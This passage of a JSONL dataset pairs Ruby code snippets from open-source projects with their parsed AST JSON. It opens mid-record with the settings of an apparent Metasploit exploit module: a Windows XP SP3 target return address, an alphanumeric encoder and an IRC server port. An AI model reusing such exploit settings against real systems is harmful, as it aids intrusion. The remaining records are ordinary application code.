\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EncoderType\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Encoder\"]},\"Type\"]},\"AlphanumUpper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP3 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1926304875]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-03-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The IRC daemon port to listen on\"]},{\"type\":\"int\",\"children\":[6667]}]}]}]}]}]}]}","id":"09621145-7d2d-43b5-b92f-dabc47376833"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":594,"raw_source":"def import_user_profiles\n    puts \"\", \"Importing user profiles...\"\n\n    users = query(<<~SQL)\n      SELECT id, bio, location, website, anonymized\n      FROM users\n      ORDER BY id\n    SQL\n\n    existing_user_ids = UserProfile.pluck(:user_id).to_set\n\n    create_user_profiles(users) do |row|\n      user_id = user_id_from_imported_id(row[\"id\"])\n      next if user_id && existing_user_ids.include?(user_id)\n\n      if row[\"anonymized\"] == 1\n        row[\"bio\"] = nil\n        row[\"location\"] = nil\n        row[\"website\"] = nil\n      end\n\n      { user_id: user_id, bio_raw: row[\"bio\"], location: row[\"location\"], website: row[\"website\"] }\n    end\n\n    users.close\n  end","complexity_score":28.65,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_profiles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing user profiles...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT id, bio, location, website, anonymized\\n\"]},{\"type\":\"str\",\"children\":[\"FROM users\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY id\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProfile\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_user_profiles\",{\"type\":\"lvar\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_user_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"anonymized\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"bio\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"location\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"website\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio_raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"bio\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"website\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"website\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"close\"]}]}]}","id":"10f956e7-f6e5-4bda-8bdc-9ebbc59e95f4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation_test.rb","start_line":449,"raw_source":"def test_skip_preloading_after_arel_has_been_generated\n      assert_nothing_raised do\n        relation = Comment.all\n        relation.arel\n        relation.skip_preloading!\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_skip_preloading_after_arel_has_been_generated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"arel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"skip_preloading!\"]}]}]}]}","id":"7773dc4e-4164-414f-8788-c84d63aa1eee"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/request.rb","start_line":17,"raw_source":"def initialize(*args)\n    super\n\n    @read_deadline = options.fetch(:read_deadline, READ_DEADLINE)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@read_deadline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"read_deadline\"]},{\"type\":\"const\",\"children\":[null,\"READ_DEADLINE\"]}]}]}]}]}","id":"b7aa3c97-4897-4e78-a2e1-39c8c2252e1d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/concerns/application_data.rb","start_line":28,"raw_source":"def ca_cert\n        cluster.application_helm.ca_cert\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ca_cert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster\"]},\"application_helm\"]},\"ca_cert\"]}]}","id":"0a1daf09-f984-42c3-9957-cec94d575005"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_between_defs.rb","start_line":276,"raw_source":"def end_loc(node)\n          node.source_range.end\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_loc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end\"]}]}","id":"8d396d70-c712-4595-911d-fdedc5b79253"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/users/recently_viewed_items_resolver_spec.rb","start_line":129,"raw_source":"def resolve_recent_items(current_user:)\n    resolve(described_class, obj: current_user, ctx: { current_user: current_user })\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_recent_items\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}]}]}","id":"093d3d85-ba5d-4d6d-b67e-4b81a0912129"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/spec/support/pages/overview.rb","start_line":46,"raw_source":"def path\n      project_overview_path(project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_overview_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"76141216-263e-4b7b-9b25-03250aed00f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dcerpc/packet.rb","start_line":218,"raw_source":"def self.make_request(opnum=0, data=\"\", size=data.length, ctx=0, object_id = '')\n\n    opnum = opnum.to_i\n    size  = [4000, size.to_i].min\n    ctx   = ctx.to_i\n\n    chunks, frags = [], []\n    ptr = 0\n\n    # Break the request into fragments of 'size' bytes\n    while ptr < data.length\n      chunks.push( data[ ptr, size ] )\n      ptr += size\n    end\n\n    # Process requests with no stub data\n    if chunks.length == 0\n      frags.push( make_request_chunk(3, opnum, '', ctx, object_id) )\n      return frags\n    end\n\n    # Process requests with only one fragment\n    if chunks.length == 1\n      frags.push( make_request_chunk(3, opnum, chunks[0], ctx, object_id) )\n      return frags\n    end\n\n    # Create the first fragment of the request\n    frags.push( make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )\n\n    # Create all of the middle fragments\n    while chunks.length != 1\n      frags.push( make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )\n    end\n\n    # Create the last fragment of the request\n    frags.push( make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )\n\n    return frags\n  end","complexity_score":55.73,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"make_request\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opnum\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"optarg\",\"children\":[\"ctx\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"object_id\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opnum\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opnum\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4000]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\"]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"to_i\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunks\"]},{\"type\":\"lvasgn\",\"children\":[\"frags\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ptr\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ptr\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ptr\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"make_request_chunk\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"opnum\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"object_id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"make_request_chunk\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"opnum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"object_id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"make_request_chunk\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"opnum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"shift\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"object_id\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"make_request_chunk\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"opnum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"shift\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"object_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"make_request_chunk\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"opnum\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"shift\"]},{\"type\":\"lvar\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"object_id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frags\"]}]}]}]}","id":"6fc5ef37-fa08-4f55-9fd5-b7e77849df65"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":732,"raw_source":"def each(&block)\n      fixtures.each(&block)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixtures\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"2d206903-0271-458d-b6d4-c77f23f02ab7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/picture.rb","start_line":58,"raw_source":"def filename\n    @filename ||= File.join(self.class.directory, basename)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"directory\"]},{\"type\":\"send\",\"children\":[null,\"basename\"]}]}]}]}","id":"92461a20-c55f-44fd-9bea-054d79456610"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/account/base_controller.rb","start_line":15,"raw_source":"def set_user\n        @user = try_spree_current_user\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]}]}]}","id":"b9762d9c-6460-4c39-bb17-59ccf4626afa"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_details.rb","start_line":82,"raw_source":"def save!\n        client.update_app_details!(application.apple_id, raw_data)\n      rescue Spaceship::Tunes::Error => ex\n        if ex.to_s == \"operation_failed\"\n          # That's alright, we get this error message if nothing has changed\n        else\n          raise ex\n        end\n      end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"save!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"update_app_details!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application\"]},\"apple_id\"]},{\"type\":\"send\",\"children\":[null,\"raw_data\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Tunes\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"operation_failed\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]},null]}]}","id":"cf46a102-f29e-4d40-bd88-b5fa89ff7648"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issue_links/create_service.rb","start_line":16,"raw_source":"def previous_related_issuables\n      @related_issues ||= issuable.related_issues(authorize: false).to_a\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_related_issuables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@related_issues\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"related_issues\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authorize\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"to_a\"]}]}]}","id":"6f237913-5e9c-4469-920b-836cc8909788"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/test_contamination.rb","start_line":10,"raw_source":"def include(included)\n            exceptions = [\"ActionView::Helpers::NumberHelper\", \"SNMP::BER\"]\n            return super if included.to_s.in?(exceptions)\n\n            raise RuntimeError, \"Unexpected module '#{included}' included globally, did you mean to include it in a class?\", caller\n          end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"include\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"included\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exceptions\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ActionView::Helpers::NumberHelper\"]},{\"type\":\"str\",\"children\":[\"SNMP::BER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included\"]},\"to_s\"]},\"in?\",{\"type\":\"lvar\",\"children\":[\"exceptions\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected module '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included\"]}]},{\"type\":\"str\",\"children\":[\"' included globally, did you mean to include it in a class?\"]}]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]}]}]}","id":"4437624d-33fb-40c6-aa52-86c016729da3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/calculated_values/error_handler.rb","start_line":79,"raw_source":"def build_error_context(cf_id, error)\n      custom_field_id = to_id(cf_id)\n\n      case error\n      when Dentaku::ZeroDivisionError\n        ErrorContext.new(custom_field_id:, error_code: \"ERROR_MATHEMATICAL\")\n      when Dentaku::ArgumentError\n        build_missing_value_error_context(custom_field_id)\n      when Dentaku::UnboundVariableError\n        ErrorContext.new(custom_field_id:,\n                         error_code: \"ERROR_DISABLED_VALUE\",\n                         missing_custom_field_ids: error.unbound_variables.map { to_id(it) })\n      else\n        ErrorContext.new(custom_field_id:, error_code: \"ERROR_UNKNOWN\")\n      end\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_error_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf_id\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_field_id\",{\"type\":\"send\",\"children\":[null,\"to_id\",{\"type\":\"lvar\",\"children\":[\"cf_id\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dentaku\"]},\"ZeroDivisionError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"lvar\",\"children\":[\"custom_field_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"str\",\"children\":[\"ERROR_MATHEMATICAL\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dentaku\"]},\"ArgumentError\"]},{\"type\":\"send\",\"children\":[null,\"build_missing_value_error_context\",{\"type\":\"lvar\",\"children\":[\"custom_field_id\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dentaku\"]},\"UnboundVariableError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"lvar\",\"children\":[\"custom_field_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"str\",\"children\":[\"ERROR_DISABLED_VALUE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_custom_field_ids\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"unbound_variables\"]},\"map\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"to_id\",{\"type\":\"send\",\"children\":[null,\"it\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"lvar\",\"children\":[\"custom_field_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"str\",\"children\":[\"ERROR_UNKNOWN\"]}]}]}]}]}]}]}","id":"f6b110fb-42f3-4838-83d2-1518b52c1ed0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/persister_helper.rb","start_line":132,"raw_source":"def add_collection_for_manager(manager_type, collection_name, extra_properties = {}, settings = {}, &block)\n    settings[:parent] ||= send(:\"#{manager_type}_manager\")\n\n    builder_class = send(manager_type)\n    add_collection(builder_class, collection_name, extra_properties, settings, &block)\n  